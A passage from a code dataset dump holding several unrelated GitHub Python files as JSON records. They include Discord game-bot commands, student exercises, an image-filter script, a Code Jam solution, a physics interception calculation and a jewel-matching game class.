@commands.command(name='kto')\n @proper_channel()\n async def who(self, ctx):\n '''Służy do sprawdzenia kto ma posążek'''\n await self.command_template(ctx, None, \"who\")\n\n @commands.command(name='detektuj', aliases=['detekt'])\n @proper_channel()\n async def detect(self, ctx, *, member):\n '''/&detekt/Służy do użycia Detektora'''\n await self.command_template(ctx, member, \"detect\")\n\n @commands.command(name='karta')\n @proper_channel()\n async def card(self, ctx, *, member):\n '''Służy do prawdzenia karty'''\n await self.command_template(ctx, member, \"check\")\n\n @commands.command(name='rola')\n @proper_channel()\n async def role(self, ctx, *, member):\n '''Służy do sprawdzenia roli'''\n await self.command_template(ctx, member, \"eat\")\n\n @commands.command(name='szam')\n @proper_channel()\n async def szam(self, ctx, *, member):\n '''Służy do oszamanienia osoby'''\n await self.command_template(ctx, member, \"szam\")\n\n @commands.command(name='zabij')\n @proper_channel()\n async def zabij(self, ctx, *, member):\n '''Służy do zabicia osoby'''\n await self.command_template(ctx, member, \"kill\")\n\n @commands.command(name='posążek', aliases=['pos'])\n @proper_channel()\n async def posag(self, ctx, *, member):\n '''Służy do przekazania posążka'''\n await self.command_template(ctx, member, \"hold\")\n\n @commands.command(name='szukaj')\n @proper_channel()\n async def szukaj(self, ctx, *, member):\n '''Służy do przeszukania osoby'''\n await self.command_template(ctx, member, \"search\")\n\n @commands.command(name='graj')\n @commands.dm_only()\n async def play(self, ctx, *, member):\n '''Służy do zabicia osoby przez Hazardzistę'''\n await self.command_template(ctx, member, \"play\")\n\n @commands.command(name='upij', aliases=['pij'])\n @commands.dm_only()\n async def drink(self, ctx, *, member):\n '''/&pij/Służy do upijania przez Opoja lub Pijanego Sędziego'''\n await self.command_template(ctx, member, \"drink\")\n\n @commands.command(name='dziw', aliases=['zadziw'])\n @commands.dm_only()\n async def hmmm(self, ctx, *, member):\n '''/&zadziw/Służy do sprawdzenia osoby przez Dziwkę'''\n await self.command_template(ctx, member, \"dziw\")\n\n @commands.command(name='zamknij', aliases=['zamk'])\n @commands.dm_only()\n async def arrest(self, ctx, *, member):\n '''/&zamk/Służy do zamknięcia osoby przez Szeryfa'''\n await self.command_template(ctx, member, \"arrest\")\n\n @commands.command(name='spowiedź', aliases=['spowiadaj', 'spow'])\n @commands.dm_only()\n async def pasteur(self, ctx, *, member):\n '''/&spow/Służy do wyspowiadania osoby przez pastora'''\n await self.command_template(ctx, member, \"pasteur\")\n\n @commands.command(name='wygrywa', aliases=['wygr'], enabled=True, hidden=False)\n @commands.dm_only()\n async def wins(self, ctx, *, member=None):\n '''/&wygr/Służy do ujawnienia się przez Sędziego, użyte z nazwą gracza powoduje, że wygrywa on pojedynek, użyte samo ujawnia Sędziego powodując utratę zdolności'''\n await self.command_template(ctx, member, \"wins\")\n\n @commands.command(name='veto', aliases=['łaska'], enabled=True, hidden=False)\n @commands.dm_only()\n async def veto(self, ctx):\n '''/&łaska/Służy do ujawnienia się przez Burmistrza, użyte w trakcie wieszania ułaskawia, użyte poza ujawnia Burmistrza powodując utratę zdolności'''\n await self.command_template(ctx, None, \"peace\")\n\n @commands.command(name='nie')\n async def nein(self, ctx):\n '''Służy do odmowy skorzystania ze zdolności'''\n await self.command_template(ctx, None, \"refuse\")\n","repo_name":"kubamik/Manitobot","sub_path":"manitobot/roles_commands.py","file_name":"roles_commands.py","file_ext":"py","file_size_in_byte":11327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42112366164","text":"#Exercício 1003\na = int(input(\"Digite um valor inteiro \"))\nb = int(input(\"Digite outro valor inteiro \"))\nSOMA = int(a + b)\nprint(\"SOMA = \" + str(SOMA))\n\n#Exercício 1004\na = int(input(\"Digite um valor inteiro \"))\nb = int(input(\"Digite outro valor inteiro \"))\nPROD = int(a*b)\nprint (\"PROD = \" + str(PROD))\n\n#Exercício 1005\na = float(input(\"Digite sua nota: \"))\nb = float(input(\"\\nDigite sua outra nota: \"))\na = 3.5*a\nb = 7.5*b\nMEDIA = (a + b) / 11\nprint(\"\\nMEDIA = {:.5f}\" .format(MEDIA))\n\n#Exercício 1006\na = float(input(\"Digite sua primeira nota: \"))\nb = float(input(\"Digite sua segunda nota: \"))\nc = float(input(\"Digite sua terceira nota: \"))\na = 2*a\nb = 3*b\nc = 5*c\nMEDIA = (a+b+c)/10\nprint(\"\\nMEDIA = {:.1f}\".format(MEDIA))\n\n#Exercício 1007\na = int(input(\"Digite o primeiro valor: \"))\nb = int(input(\"Digite o segundo valor: \"))\nc = int(input(\"Digite o terceiro valor: \"))\nd = int(input(\"Digite o quarto valor: \"))\nDIFERENCA = (a*b - c*d)\nprint(\"\\nDIFERENCA = \", DIFERENCA)\n\n#Exercício 1008\nNUMBER = int(input(\"Digite seu número de funcionário: \"))\nnumeroHoras = int(input(\"Digite seu número de horas trabalhadas: \"))\nvalorHora = float(input(\"Digite quanto você ganha por hora trabalhada: \"))\nSALARY = numeroHoras * valorHora\nprint(\"NUMBER =\",NUMBER)\nprint(\"SALARY = U$\",SALARY)\n\n#Exercício 2374\nN = int(input(\"Qual a pressão desejada? \"))\nM = int(input(\"Qual a pressão lida pela bomba? \"))\ndiferencaPressao = N - M\nprint(\"A diferença de pressão é de\",diferencaPressao)\n\n\n#Exercício 2413\nt = int(input(\"Quantas pessoas clicaram no terceiro link? \"))\nprimeiroLink = t * 4\nprint(primeiroLink)\n\n#Exercício 1012\na = float(input(\"Digite o valor de A: \"))\nb = float(input(\"Digite o valor de B: \"))\nc = float(input(\"Digite o valor de C: \"))\n\nTRIANGULO = a * c / 2\nCIRCULO = 3.14159 * (c*c)\nTRAPEZIO = ((a + b) * c) / 2 \nQUADRADO = b * b \nRETANGULO = a * b\n\nprint(\"\\nTRIANGULO = {:.3f}\".format(TRIANGULO))\nprint(\"CIRCULO = {:.3f}\".format(CIRCULO))\nprint(\"TRAPEZIO = {:.3f}\".format(TRAPEZIO))\nprint(\"QUADRADO = {:.3f}\".format(QUADRADO))\nprint(\"RETANGULO = {:.3f}\".format(RETANGULO))\n\n#Exercício 1020\nidade = int(input(\"Digite sua idade em dias: \"))\nano = int(idade / 365)\nrestante = idade - (ano * 365)\nmes = int (restante / 30)\ndia = int(restante - (mes *30))\n\nprint(ano, \"ano(s)\")\nprint(mes, \"mes(es)\")\nprint(dia, \"dia(s)\")\n\n#Exercício 1015\nimport math\nx1,y1 = [float(x) for x in input(\"Digite os dois valores de x1 e y1: \").split()]\nx2,y2 = [float(x) for x in input(\"Digite os dois valores de x2 e y2: \").split()]\n\ndistancia = math.sqrt((x2 - x1)**2 + (y2 - y1)**2)\nprint(\"{:.4f}\".format(distancia))\n\n#Exercício 1019\ntempo = int(input(\"Digite a quantidade de segundos: \"))\nprint(tempo)\nhoras = int(tempo / 3600)\nrestante = int(tempo%3600)\nminutos = int(restante/60)\nsegundos = int(restante%60)\n\nprint(horas,\":\",minutos,\":\",segundos)\n\n#Exercício 1017\nhoras = int(input(\"Quantas horas levou a viagem? \"))\nvelocidadeMedia = int(input(\"Qual foi a velocidade média da viagem? \"))\ndistancia = (horas * velocidadeMedia)\ncombustNecessario = distancia / 12\nprint(\"{:.3f}\".format(combustNecessario))\n\n#Exercício 1014\ndistancia = int(input(\"Qual foi a distância percorrida? \"))\ncombustivel = float(input(\"Qual a quantidade de combustível gasto? \"))\nconsumoMedio = float(distancia / combustivel)\nprint(\"{:.3f}\".format(consumoMedio) + \" km/l\")\n\n\n#Exercício 1009\nnome = input(str(\"Digite seu nome: \"))\nsalario = float(input(\"Qual seu salário? \"))\nvendas = float(input(\"Quantas vendas você realizou este mês? \"))\ntotal = salario + (0.15 * vendas)\n\nprint(\"TOTAL = R$ {:.2f}\".format(total))\n\n\n\n\n\n\n","repo_name":"medeirosJose/UFSC","sub_path":"2023.1/INE5603 - Introdução à POO/Lista 01 - Estrutura Sequencial/EstruturaSequencial.py","file_name":"EstruturaSequencial.py","file_ext":"py","file_size_in_byte":3607,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33108236772","text":"\"\"\"The main running program\"\"\"\nimport os\nimport nb\nimport blur\nimport dilate\nimport fnmatch\nimport sys\nimport read_help as help\nimport log\nimport shutil\nimport conf\n\ninput = 'input'\noutput = 'output'\n\n\nargs = sys.argv\n\n\ncf_file = 'imagefilter.ini'\nif \"--config-file\" in args:\n i = args.index(\"--config-file\")\n file = args[i+1]\n if os.path.exists(file):\n input = conf.input\n output = conf.output\n filters_list = conf.filters.split('|')\n else:\n print('This file doesn\\'t exist')\n\n# input = 'input'\n# output = 'output'\n\nif \"--h\" in args:\n help.read()\n\nif \"--i\" in args:\n x = args.index(\"--i\")\n input = args[x+1]\n\nif \"--o\" in args:\n y = args.index(\"--o\")\n output = args[y+1]\n\n\n\n\n\nif \"--filter\" in args:\n z = args.index(\"--filter\")\n filters = args[z + 1]\n filters_list = filters.split('|')\n\n\nif \"--log-file\" in args:\n y = args.index(\"--log-file\")\n y += 1\n if args[y] == \"image.log\":\n log.dump_log()\n else:\n print(\"Incorrect file name\")\n\n\n\n#if \"--filters\" in args:\n# z = args.index(\"--filters\")\n# filters = args[z+1]\n# if filters == nb:\n# nb.transnb(f'{input}/{img}', out)\n# z += 1\n\n\n\n\n\n\npath = os.getcwd()\nprint (\"The current working directory is %s\" % path)\n\n\ntry:\n listOfFiles = os.listdir(input)\n pattern = \"*.jpg\"\n pattern2 = \"*.png\"\n log.log(\"test\")\n for entry in listOfFiles:\n if fnmatch.fnmatch(entry, pattern):\n print(entry)\n elif fnmatch.fnmatch(entry, pattern2):\n print(entry)\n else:\n os.remove(f'Data/imgs/{entry}')\n path = output\n\n try:\n os.mkdir(path)\n except OSError:\n print(\"Creation of the directory %s failed\" % path)\n else:\n print(\"Successfully created the directory %s \" % path)\n\n src_files = os.listdir(input)\n for file_name in src_files:\n full_file_name = os.path.join(input, file_name)\n if os.path.isfile(full_file_name):\n shutil.copy(full_file_name, output)\n\n for img in listOfFiles:\n out = output + img\n # nb.transnb(f'{input}/{img}', out)\n # blur.transblur(f'{output}/{img}', 5, out)\n # dilate.transdilate(f'{output}/{img}', out)\n\n for fltr in filters_list:\n print(fltr)\n if ':' in fltr:\n param = fltr.split(':')\n print(f'FLTR IS {fltr} ')\n if 'grayscale' in filters_list:\n print('GREY <--->')\n nb.transnb(f'{input}{img}', out)\n print(f'{input}{img}')\n input = output\n log.log(img + \" grey\")\n if 'blur' in fltr:\n param_blur = fltr.split(':')\n print(f'BLUR {img} ----->{param_blur}')\n nbr = int(param_blur[1])\n # print(f'BLURED <-----> {nbr}')\n blur.transblur(f'{input}{img}', int(nbr), out)\n print(f'{input}{img}')\n input = output\n log.log(img + \" blured\")\n if 'dilate' in fltr:\n param_dilate = fltr.split(':')\n print(f'DILATE ------> {param_dilate}')\n nbr = int(param_dilate[1])\n # print(f'<------> {nbr}')\n dilate.transdilate(f'{input}{img}', nbr, out)\n print(f'{input}{img}')\n input = output\n log.log(img + \" dilated\")\n\nexcept FileNotFoundError:\n if \"--h\" not in args:\n print('Please enter an input path with -i <path>')\n\n\n\n","repo_name":"Nohan75/python-imagefilter-groupe_8","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15222542349","text":"#!/usr/bin/env python\n\nimport sys\n\n\ndef foo(ifile):\n X, S, R, t, N = [int(x) for x in ifile.readline().split()]\n aa = []\n bb = {}\n for i in range(N):\n aa.append([int(x) for x in ifile.readline().split()])\n for i in range(N):\n a = aa[i]\n if a[2] not in bb:\n bb[a[2]] = 0\n bb[a[2]] += a[1] - a[0]\n t2 = X - sum(bb.values())\n bb[0] = t2\n\n res = 0.0\n bb = sorted(bb.items())\n \n for k, v in bb:\n v = float(v)\n if (R+k)*t > v:\n res += v / (R+k)\n t -= v / (R+k)\n else:\n t2 = (v - (R+k)*t)/(S+k)\n res += t + t2\n t = 0\n return res\n\n\ndef main(ifile, ofile):\n n = int(ifile.readline())\n for i in range(n):\n ofile.write(\"Case #%s: %s\\n\" % (i+1, foo(ifile)))\n\nmain(sys.stdin, sys.stdout)\n\n","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/CodeJamData/11/41/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"39168696475","text":"#!/usr/bin/env python3\nimport os, sys\nfrom PIL import Image\n\n\nsource_dir = \"images/\"\nnew_dir = \"/opt/icons/\"\n\nfor filename in os.listdir(source_dir):\n if filename != \"*.tif\":\n im = Image.open(os.path.join(source_dir, filename))\n im = im.rotate(-90)\n im = im.resize((128,128))\n im = im.convert(\"RGB\")\n im.save(os.path.join(new_dir, filename+\".jpeg\"))\n","repo_name":"bmoats13/Automating-Real-World-Tasks-with-Python","sub_path":"Scale and convert images using PIL.py","file_name":"Scale and convert images using PIL.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23464549108","text":"from math import *\nfrom numpy import *\nfrom random import uniform\n\n# ----------------- DADOS-BASE PARA O CÓDIGO ------------------\n # robo\nvR = 2.8 # m/s\naR = 2.8 # m/s^2\nmR = 2.8 # kg\n\n # bola\nmB = 0.046 # kg\n\nrI = 0.001 # m \n\n# ----------- MANIPULAÇÃO DO ARQUIVO TXT EM VETORES -----------\ntemp = []\nposx = []\nposy = []\n\nlinha = -1 # variável que vai guardar a quantidade de linhas do arquivo -- inicializa no -1 para não contar a primeira linha do arquivo (t\\s...)\nfor indice in open(\"trajetoria_bola_diurno.txt\", \"r\"):\n if linha == -1: # caso o laço esteja na primeira vez -- que seria a 1ª linha do arq (t\\s...) ele não adiciona nada nas listas\n pass\n else: # caso linha = 0 (já passou da primeira linha do arq) -- ele entra no laço\n indice = [i for i in indice.split()]\n temp.append(float(indice[0])) # coloca o item da 1ª coluna no vetor de tempo\n posx.append(float(indice[1])) # coloca o item da 2ª coluna no vetor da posição X\n posy.append(float(indice[2])) # coloca o item da 3ª coluna no vetor da posição Y\n linha += 1\n\n\n'''for i in range(linha):\n print(\"%.2f\\t%.3f\\t%.3f\\t\" %(temp[i], posx[i], posy[i]))'''\n\ndef velocidade (c1, c2, t1, t2): # c1, c2 são coordenadas -- que vai variar se for X ou Y\n v = (c2 - c1) / (t2 - t1)\n return v\n\nvelXbolinha = [] # vai armazenar velocidade da bolinha em X\nvelYbolinha = [] # vai armazenar velocidade da bolinha em Y\n\nfor i in range(linha):\n if i == 0:\n velXbolinha.append(0)\n velYbolinha.append(0)\n else:\n velXbolinha.append(velocidade(posx[i-1], posx[i], temp[i-1], temp[i]))\n velYbolinha.append(velocidade(posy[i-1], posy[i], temp[i-1], temp[i]))\n\n#for i in range(linha):\n #print(\"%.2f %.2f, indice: %d\" %(velXbolinha[i], velYbolinha[i], i)) # verificação se a velocidade está sendo calculada direito\n\nvrobo = [] # vai armazenar a velocidade do robo\n\ntrobo = [] # vai armazenar o tempo do robo\nxrobo = [] # vai armazenar as posições x do robo\nyrobo = [] # vai armazenar as posições y do robo\n\n# ------------------- posição do robo --------------------\n\nqtdt = 0 # contador para o array do tempo do robo\nqtdv = 0 # contador para o array da velocidade do robo\n\nxirobo = uniform(0, 2) # posição x do robo inicial aleatória\nyirobo = uniform(0, 1.5) # posição y do robo incicial aleatória\n\nxrobo.append(xirobo) # adiciona a posição x inicial do robo no array das posições x\nyrobo.append(yirobo) # adiciona a posição y inicial do robo no array das posições y\n\nprint(\"X do Robo: %.2f\" % xirobo) # printar o x e o y inicial do robo\nprint(\"Y do Robo: %.2f\" % yirobo) # printar o x e o y inicial do robo\n\n# --------------- cálculo da interceptação ---------------\n\n # variáveis da interceptação\n\nx = 0 # posição X da bolinha na interceptação\ny = 0 # posição Y da bolinha na interceptação\nd_max = 0 # distância percorrida pelo robo até a interceptação\nd_min = 0 # distância percorrida pelo robo até a interceptação\nt_desloc_max = 0 # tempo que o robô leva para interceptar a bola\nt_desloc_min = 0 # tempo que o robô leva para interceptar a bola\nang_r = 0 # ângulo da movimentação do robô \nr_i = 0.1 # em (m) \n\ndef pit (cat1, cat2):\n hip = sqrt(cat1*cat1 + cat2*cat2)\n return hip\n\nfor i in range(linha):\n x = posx[i] # posição X da bolinha (percorre todas as posições possíveis, seguindo o tempo)\n y = posy[i] # posição Y da bolinha ''\n d_max = pit(x - xirobo, y - yirobo) # passa para a função cada X e Y da bolinha, tirando as posições X e Y iniciais do robo\n d_min = pit(x - r_i - xirobo, y - r_i - yirobo) # passa para a função cada X e Y da bolinha, tirando as posições X e Y iniciais do robo\n t_desloc_max = d_max / 2.8 # calcula o tempo de deslocamento do robô até o ponto \n t_desloc_min = (d_min - r_i) / 2.8\n\n if((t_desloc_min <= temp[i]) ): # caso o robo consiga chegar nesse ponto em um tempo menor ou igual à bolinha -- a interceptação ocorre\n \n ang_r = degrees(arctan((y - r_i - yirobo)/(x - r_i - xirobo)))\n \n print(\"Interceptou!\")\n break\n\n\nprint(\"interceptação -- posição x: %.3f, posição y: %.3f\" %(x, y))\nprint(\"interceptação -- posição min x: %.3f, posição min y: %.3f\" %(x - r_i, y - r_i))\nprint(\"tempo robo: %.3f, tempo bolinha: %.3f\" %(t_desloc_max, temp[i]))\nprint(\"tempo mínimo %.3f\" %t_desloc_min)\nprint(\"deslocamento max do robo: %.2f\" %d_max)\nprint(\"deslocamento min do robo: %.2f\" %d_min)\nprint(\"indice: %d\" %(i+1))\nprint(\"ângulo: %f\" %ang_r)\nprint(\"\\n\")","repo_name":"jvgoverna/Projeto-Oras-Bolas","sub_path":"cálculo da interceptação do robo/interceptação.py","file_name":"interceptação.py","file_ext":"py","file_size_in_byte":4819,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3762192865","text":"class InvalidSizeError(Exception):\r\n pass\r\nclass InvalidPositionError(Exception):\r\n pass\r\n\r\nclass GameState:\r\n def __init__(self):\r\n self._board = self._create_board()\r\n\r\n\r\n def get_board(self)->[['Position']]:\r\n return self._board\r\n\r\n\r\n def del_jewel_in_matched_list_from_game_state(jewel_list:['Jewel'],\r\n game_state):\r\n for jewel in jewel_list:\r\n row = jewel.get_row()\r\n col = jewel.get_rol()\r\n\r\n game_state.del_\r\n def append_matched_jewel_in_a_list(self):\r\n for position_list in self.get_board():\r\n for position in position_list:\r\n if position.get_jewel()!= None:\r\n if position.get_jewel().get_status() != 'freeze':\r\n return True\r\n return False\r\n \r\n def move(self)->None:\r\n for position_list in self.get_board():\r\n for position in position_list:\r\n if position.get_jewel() != None:\r\n if position.get_jewel().get_status() == 'faller':\r\n position.get_jewel().move_down(self.get_board())\r\n elif position.get_jewel().get_status() == 'faller_land':\r\n position.get_jewel().change_status('freeze')\r\n\r\n def move_faller(self,faller:'Faller')->None:\r\n faller.move_down(self.get_board())\r\n\r\n if_check_match = True\r\n\r\n for jewel in faller.get_jewel_in_faller():\r\n if jewel.get_status() != 'freeze':\r\n if_check_match == False\r\n\r\n if if_check_match == True:\r\n game_matched_list = self.check_match()\r\n for jewel in game_matched_list:\r\n jewel.change_status('matched')\r\n\r\n def check_game_over(self,faller:'Faller'):\r\n if faller != None:\r\n for jewel in faller.get_jewel_in_faller():\r\n if jewel != None:\r\n if jewel.get_status() == 'freeze':\r\n if jewel.check_if_jewel_on_board(self.get_board()) == False:\r\n return True\r\n return False\r\n \r\n \r\n \r\n \r\n \r\n def initiate_game_board_to_empty(self,row:int,col:int)->None:\r\n board = []\r\n if row < 4 or col < 3:\r\n raise InvalidSizeError\r\n for col_number in range(0,col):\r\n board_sublist = []\r\n for row_number in range(0,row):\r\n board_sublist.append(Position())\r\n board.append(board_sublist)\r\n\r\n self._board = board\r\n \r\n \r\n \r\n def check_horizontal_match(self)->['Jewel']:\r\n row_number = len(self._board[0])\r\n col_number = len(self._board)\r\n board = self.get_board()\r\n match_list = []\r\n\r\n for i in range(0,col_number):\r\n for j in range(0,row_number):\r\n color = None\r\n jewel = board[i][j].get_jewel()\r\n if jewel != None and jewel.get_status() == 'freeze':\r\n color = jewel.get_color()\r\n count = 1\r\n col = i\r\n row = j\r\n while True:\r\n if col >= col_number-1:\r\n break\r\n if board[col+1][row].get_jewel()!= None:\r\n if board[col+1][row].get_jewel().get_color() == color and board[col+1][row].get_jewel().get_status() == 'freeze':\r\n count += 1\r\n if board[col+1][row].get_jewel().get_color() != color:\r\n break\r\n col +=1\r\n if count >=3:\r\n for col_num in range(i,i+count):\r\n match_list.append(board[col_num][j].get_jewel())\r\n\r\n return match_list\r\n\r\n \r\n def check_vertical_match(self)->['Jewel']:\r\n row_number = len(self._board[0])\r\n col_number = len(self._board)\r\n board = self.get_board()\r\n match_list = []\r\n for i in range(0,col_number):\r\n for j in range(0,row_number):\r\n color = None\r\n jewel = board[i][j].get_jewel()\r\n if jewel != None and jewel.get_status() == 'freeze':\r\n color = jewel.get_color()\r\n count = 1\r\n col = i\r\n row = j\r\n while True:\r\n if row >= row_number-1:\r\n break\r\n if board[col][row+1].get_jewel()!= None:\r\n if board[col][row+1].get_jewel().get_color() == color and board[col][row+1].get_jewel().get_status() == 'freeze':\r\n count += 1\r\n if board[col][row+1].get_jewel().get_color() != color:\r\n break\r\n row +=1\r\n if count >=3:\r\n for row_num in range(j,j+count):\r\n match_list.append(board[i][row_num].get_jewel())\r\n\r\n return match_list\r\n\r\n def check_diagonal_up_match(self)->['Jewel']:\r\n row_number = len(self._board[0])\r\n col_number = len(self._board)\r\n board = self.get_board()\r\n match_list = []\r\n for i in range(0,col_number):\r\n for j in range(0,row_number):\r\n color = None\r\n jewel = board[i][j].get_jewel()\r\n if jewel != None and jewel.get_status() == 'freeze':\r\n color = jewel.get_color()\r\n \r\n count = 1\r\n col = i\r\n row = j\r\n while True:\r\n if row >= row_number-1 or col >= col_number - 1:\r\n break\r\n if board[col+1][row+1].get_jewel()!= None:\r\n if board[col+1][row+1].get_jewel().get_color() == color and board[col+1][row+1].get_jewel().get_status() == 'freeze':\r\n count += 1\r\n if board[col+1][row+1].get_jewel().get_color() != color:\r\n break\r\n row +=1\r\n col += 1\r\n \r\n if count >=3:\r\n for count_num in range(0,count):\r\n match_list.append(board[i+count_num][j+count_num].get_jewel())\r\n\r\n return match_list\r\n\r\n def check_diagonal_down_match(self)->['Jewel']:\r\n row_number = len(self._board[0])\r\n col_number = len(self._board)\r\n board = self.get_board()\r\n match_list = []\r\n for i in range(0,col_number):\r\n for j in range(0,row_number):\r\n color = None\r\n jewel = board[i][j].get_jewel()\r\n if jewel != None and jewel.get_status() == 'freeze':\r\n color = jewel.get_color()\r\n count = 1\r\n col = i\r\n row = j\r\n while True:\r\n if row < 1 or col >= col_number - 1:\r\n break\r\n if board[col+1][row-1].get_jewel()!= None:\r\n if board[col+1][row-1].get_jewel().get_color() == color and board[col+1][row-1].get_jewel().get_status() == 'freeze':\r\n count += 1\r\n if board[col+1][row-1].get_jewel().get_color() != color:\r\n break\r\n row -= 1\r\n col += 1\r\n if count >=3:\r\n for count_num in range(0,count):\r\n match_list.append(board[i+count_num][j-count_num].get_jewel())\r\n\r\n return match_list\r\n\r\n\r\n \r\n def check_match(self)->['Jewel']:\r\n match_list = []\r\n\r\n horizontal_match_list = self.check_horizontal_match()\r\n vertical_match_list = self.check_vertical_match()\r\n diagonal_up_match_list = self.check_diagonal_up_match()\r\n diagonal_down_match_list = self.check_diagonal_down_match()\r\n \r\n for jewel in horizontal_match_list:\r\n if jewel not in match_list:\r\n match_list.append(jewel)\r\n for jewel in vertical_match_list:\r\n if jewel not in match_list:\r\n match_list.append(jewel)\r\n for jewel in diagonal_up_match_list:\r\n if jewel not in match_list:\r\n match_list.append(jewel)\r\n for jewel in diagonal_down_match_list:\r\n if jewel not in match_list:\r\n match_list.append(jewel)\r\n \r\n \r\n return match_list\r\n\r\n \r\n \r\n def get_jewel(self,row:int,col:int)->'Jewel': \r\n return self.get_board()[col][row].get_jewel()\r\n\r\n def add_jewel(self,jewel:'Jewel',row:int,col:int)->None:\r\n if row < 0 or row >= len(self.get_board()[0]):\r\n raise InvalidPositionError\r\n if col < 0 or col >= len(self.get_board()):\r\n raise InvalidPositionError\r\n position = self._board[col][row]\r\n position.add_jewel(jewel)\r\n\r\n def check_if_jewel_on_board(self,jewel,board)->bool:\r\n row_position = jewel.get_row()\r\n col_position = jewel.get_col()\r\n\r\n if row_position >= 0 and row_position < len(self._board) \\\r\n and col_position >= 0 and col_position < len(self._board[0]):\r\n return True\r\n\r\n return False\r\n \r\n def _create_board(self)->[]:\r\n board = self.initiate_game_board_to_empty(4,3)\r\n\r\n return board\r\n\r\n\r\nclass Position:\r\n def __init__(self):\r\n self._is_empty = True\r\n self._jewel_in_position = None\r\n \r\n def check_empty(self)->bool:\r\n return self._is_empty\r\n\r\n\r\n def get_jewel(self)->'Jewel':\r\n return self._jewel_in_position\r\n \r\n def add_jewel(self,jewel:'Jewel')->None:\r\n self._add_jewel(jewel)\r\n\r\n\r\n def _add_jewel(self,jewel:'Jewel')->None:\r\n self._is_empty = False\r\n self._jewel_in_position = jewel\r\n\r\n\r\n return jewel\r\n \r\n \r\n \r\n\r\nclass Jewel:\r\n def __init__(self,row_position:int,col_position:int,color_information:str,\r\n status:str):\r\n self._col_position = col_position\r\n self._row_position = row_position\r\n self._color_information = color_information\r\n self._status = status\r\n\r\n def move(self)->None:\r\n self._col_position += 1\r\n\r\n def change_status(self,status:str):\r\n self._status = status\r\n \r\n \r\n def get_color(self)->str:\r\n return self._color_information\r\n\r\n def get_col(self)->int:\r\n return self._col_position\r\n\r\n def get_row(self)->int:\r\n return self._row_position\r\n \r\n def get_status(self)->str:\r\n return self._status\r\n \r\n def move_down(self,board:[['Position']])->None:\r\n## print(self.check_if_jewel_could_move_down(board))\r\n if self.get_status() != 'match':\r\n if self.check_if_jewel_could_move_down(board) == True:\r\n if self.check_if_jewel_on_board_after_move_down(board) == True:\r\n ## print('jewel_is_added')\r\n board[self._col_position][self._row_position-1].add_jewel(self)\r\n ## print('if jewel_could_be reset' ,self.check_if_jewel_on_board(board))\r\n if self.check_if_jewel_on_board(board) == True:\r\n ## print('jewel_position_is_reset')\r\n board[self._col_position][self._row_position] = Position()\r\n self._row_position -= 1\r\n if self.check_if_jewel_could_move_down(board) == False:\r\n self.change_status('faller_land')\r\n\r\n def move_up(self,board:[['Position']])->None:\r\n if self.check_if_jewel_could_move_up(board) == True:\r\n board[self._col_position][self._row_position+1].add_jewel(self)\r\n board[self._col_position][self._row_position] = Position()\r\n self._row_position += 1\r\n \r\n def move_left(self,board:[['Position']])->None:\r\n if self.check_if_jewel_could_move_left(board) == True:\r\n if self.check_if_jewel_on_board(board) == True:\r\n board[self._col_position-1][self._row_position].add_jewel(self)\r\n board[self._col_position][self._row_position] = Position()\r\n self._col_position -= 1\r\n self.change_status('faller')\r\n if self.check_if_jewel_could_move_down(board) == False:\r\n self.change_status('faller_land')\r\n\r\n def move_right(self,board:[['Position']])->None:\r\n if self.check_if_jewel_could_move_right(board) == True:\r\n if self.check_if_jewel_on_board(board) == True:\r\n board[self._col_position+1][self._row_position].add_jewel(self)\r\n board[self._col_position][self._row_position] = Position()\r\n self._col_position += 1\r\n self.change_status('faller')\r\n if self.check_if_jewel_could_move_down(board) == False:\r\n self.change_status('faller_land')\r\n\r\n def check_if_jewel_on_board(self,board:[['Position']]):\r\n row_position = self._row_position\r\n col_position = self._col_position\r\n## print('row' ,row_position)\r\n## print('col' ,col_position)\r\n## print('len(board[0])', len(board[0]))\r\n## print('len(board)' , len(board))\r\n \r\n if row_position >= 0 and row_position < len(board[0]) \\\r\n and col_position >= 0 and col_position < len(board):\r\n return True\r\n\r\n return False\r\n\r\n def check_if_jewel_could_move_down(self,board:[['Position']]):\r\n jewel_row_position = self._row_position\r\n jewel_col_position = self._col_position\r\n\r\n if jewel_row_position > len(board[0]):\r\n return True\r\n \r\n if jewel_row_position < 1:\r\n return False\r\n\r\n## print(board[jewel_col_position][jewel_row_position-1].check_empty())\r\n if board[jewel_col_position][jewel_row_position-1].check_empty() == True:\r\n return True\r\n return False\r\n\r\n def check_if_jewel_on_board_after_move_down(self,board:[['Position']]):\r\n jewel_row_position = self._row_position\r\n jewel_col_position = self._col_position\r\n jewel_row_position_after_move = jewel_row_position-1\r\n\r\n## print(jewel_row_position_after_move)\r\n## print(len(board[0]))\r\n\r\n## print(jewel_row_position_after_move < len(board[0]))\r\n if jewel_row_position_after_move >= 0 and jewel_row_position_after_move < len(board[0]) \\\r\n and jewel_col_position >= 0 and jewel_col_position < len(board):\r\n return True\r\n\r\n return False\r\n def check_if_jewel_could_move_up(self,board:[['Position']]):\r\n jewel_row_position = self._row_position\r\n jewel_col_position = self._col_position\r\n\r\n if jewel_row_position >= len(board[0])-1:\r\n return False\r\n if board[jewel_col_position][jewel_row_position+1].check_empty() == True:\r\n return True\r\n\r\n return False\r\n\r\n def check_if_jewel_could_move_left(self,board:[['Position']]):\r\n jewel_row_position = self._row_position\r\n jewel_col_position = self._col_position\r\n\r\n if self.check_if_jewel_on_board(board) == False:\r\n return True\r\n if jewel_col_position < 1:\r\n return False\r\n \r\n if board[jewel_col_position-1][jewel_row_position].check_empty() == True:\r\n return True\r\n\r\n return False\r\n\r\n def check_if_jewel_could_move_right(self,board:[['Position']]):\r\n jewel_row_position = self._row_position\r\n jewel_col_position = self._col_position\r\n\r\n if self.check_if_jewel_on_board(board) == False:\r\n return True\r\n\r\n if jewel_col_position >= len(board)-1:\r\n return False\r\n \r\n if 